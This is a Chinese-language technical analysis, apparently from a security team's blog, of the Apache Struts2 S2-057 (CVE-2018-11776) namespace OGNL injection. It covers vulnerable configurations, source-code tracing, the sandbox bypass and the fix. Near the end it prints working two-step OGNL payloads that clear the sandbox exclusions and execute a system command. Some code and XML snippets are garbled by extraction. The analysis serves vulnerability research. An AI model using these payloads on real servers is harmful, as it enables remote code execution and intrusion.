Smi1e@Pentes7eam
漏洞信息:https://cwiki.apache.org/confluence/display/WW/S2-057
当Struts2的配置满足以下条件时:
alwaysSelectFullNamespace
值为true、action
元素未设置namespace
属性或使用了通配符、result type
为chain、redirectAction、postback
之一 。namespace
将由用户从uri传入,并作为OGNL表达式计算,最终造成命令执行漏洞。
漏洞复现
影响范围
Struts 2.0.4 - 2.3.34,Struts 2.5.0 - 2.5.16
漏洞分析
struts.xml
="struts.mapper.alwaysSelectFullNamespace" value="true" />
="S2-032" extends="struts-default">
="login" class="com.demo.action.LoginAction">
="success" type="redirectAction">
="actionName">page?username=${username}
="error">index.jsp
="page" class="com.demo.action.PageAction">
="success">welcome.jsp
struts2提供了一个命名空间的概念,可以通过 package
的namespace
属性来设置,使用它可以避免action
的名字冲突,同时也可以在逻辑上给action
分类。alwaysSelectFullNamespace
用来设置命名空间是否必须进行精确匹配,默认为false。进行精确匹配时要求请求url中的命名空间必须与配置文件中配置的某个命名空间必须相同,如果没有找到相同的则匹配失败。
org.apache.struts2.dispatcher.mapper.DefaultActionMapper
的getMapping
方法用来从 uri 中解析ActionMapping
对象,跟进用来从uri中解析出actionName
和namespace
的parseNameAndNamespace
方法。
当 alwaysSelectFullNamespace
为true时,namespace的值可以通过uri控制
在S2-012中我们知道 Result
接口的实现类用于对action
类实例执行之后结果的处理。struts-default.xml
中默认有以下几种,存在漏洞的有chain、redirectAction、postback
。
="struts-default" abstract="true">
="chain" class="com.opensymphony.xwork2.ActionChainResult"/>
="dispatcher" class="org.apache.struts2.dispatcher.ServletDispatcherResult" default="true"/>
="freemarker" class="org.apache.struts2.views.freemarker.FreemarkerResult"/>
="httpheader" class="org.apache.struts2.dispatcher.HttpHeaderResult"/>
="redirect" class="org.apache.struts2.dispatcher.ServletRedirectResult"/>
="redirectAction" class="org.apache.struts2.dispatcher.ServletActionRedirectResult"/>
="stream" class="org.apache.struts2.dispatcher.StreamResult"/>
="velocity" class="org.apache.struts2.dispatcher.VelocityResult"/>
="xslt" class="org.apache.struts2.views.xslt.XSLTResult"/>
="plainText" class="org.apache.struts2.dispatcher.PlainTextResult" />
="postback" class="org.apache.struts2.dispatcher.PostbackResult" />
在 com.opensymphony.xwork2.DefaultActionInvocation
类的executeResult
方法中下断点,因为我们配置的是type="redirectAction"
所以这里会调用org.apache.struts2.dispatcher.ServletActionRedirectResult
来处理我们的action
实例执行结果。
跟进其 execute
方法
public void execute(ActionInvocation invocation)throws Exception{
this.actionName=this.conditionalParse(this.actionName,invocation);
if (this.namespace==){
this.namespace=invocation.getProxy.getNamespace;
}else{
this.namespace=this.conditionalParse(this.namespace,invocation);
}
if (this.method==){
this.method="";
}else{
this.method=this.conditionalParse(this.method,invocation);
}
String tmpLocation =this.actionMapper.getUriFromActionMapping(new ActionMapping(this.actionName,this.namespace,this.method,(Map)));
this.setLocation(tmpLocation);
super.execute(invocation);
}
解析出 actionName
后由于我们的struts.xml中没有配置namespace
,所以this.namespace=
会进入invocation.getProxy.getNamespace
获取前面解析出的namespace
。
public String getNamespace{
return this.namespace;
}
然后会执行 this.actionMapper.getUriFromActionMapping(new ActionMapping(this.actionName, this.namespace, this.method, (Map)))
根据actionName、namespace、method
组成一个用于跳转的uri,然后调用this.setLocation(tmpLocation)
赋值给ServletActionRedirectResult
对象的location
属性。这个时候后面的流程就和S2-012一样了。
调用 super.execute(invocation)
执行org.apache.struts2.dispatcher.StrutsResultSupport
类的execute
方法,然后在conditionalParse
方法中调用了熟悉的TextParseUtil.translateVariables
把上面设置的location属性值进行ognl表达式解析。
调用栈
com.opensymphony.xwork2.ActionChainResult
和org.apache.struts2.dispatcher.PostbackResult
的触发流程跟ServletActionRedirectResult
大致一样。
com.opensymphony.xwork2.ActionChainResult
在execute
方法中直接执行了。
org.apache.struts2.dispatcher.PostbackResult
虽然漏洞的影响版本是Struts 2.5.0 - 2.5.16,然而在2.5.13之后禁止使用 #context
来获取OgnlContext
对象
2.5.20版本后 excludedClasses
不可变了
所以S2-045的绕过方法只能使用到2.5.12。不过在这篇文章中提到2.5.13到2.5.16的绕过方式:作为武器的CVE-2018-11776:绕过Apache Struts 2.5.16 OGNL 沙箱
首先因为 context
无法访问,所以第一步是寻找context
的替代方案。
作者发现在 attr
中有一个keystruts.valueStack
,保存着OgnlValueStack
对象。
我们可以利用 OgnlValueStack
获取context
:(#context=#attr['struts.valueStack'].context)
而虽然 excludedClasses
等属性不可变,但我们可以利用setter
将其置空。
(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))
虽然这里调用 setter
将excludedClasses
等属性清空了,但是这里相当于又给excludedClasses
创建了一个新的集合,所以这里excludedClasses
的清空并不会令_memberAccess
中的excludedClasses
清空。
但是我们可以再发送一次请求 (#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime.exec('xcalc'))
来令_memberAccess
中的excludedClasses
清空。这是因为上面说过OgnlUtil
使用的是单例模式,每一次请求用的都是同一个OgnlUtil
对象。我们第一次请求清空其属性后,在随后的请求中它的属性依然是被清空的。而_memberAccess
是一个短暂的对象,每一次请求都会重新创建一个ActionContext
以及ValueStack
对象
同样每次请求都会对 OgnlValueStack
进行依赖注入,所以第二次请求就会将全局对象OgnlUtil
被清空后的excludedClasses、excludedPackageNamePatterns、excludedPackageNames
赋值给了该请求的_memberAccess
,从而完成绕过。
漏洞修复
https://github.com/apache/struts/commit/4a3917176de2df7f33a85511d067f31e50dcc1b2
org.apache.struts2.dispatcher.StrutsResultSupport
添加了一个parseLocation
属性用来表示是否对跳转的location
属性进行OGNL表达式解析
org.apache.struts2.dispatcher.PostbackResult
和org.apache.struts2.dispatcher.ServletActionRedirectResult
中的parseLocation
属性都设置成了false。
而 com.opensymphony.xwork2.ActionChainResult
在配置了namespace的情况下才会对其进行OGNL表达式解析。
https://www.easyaq.com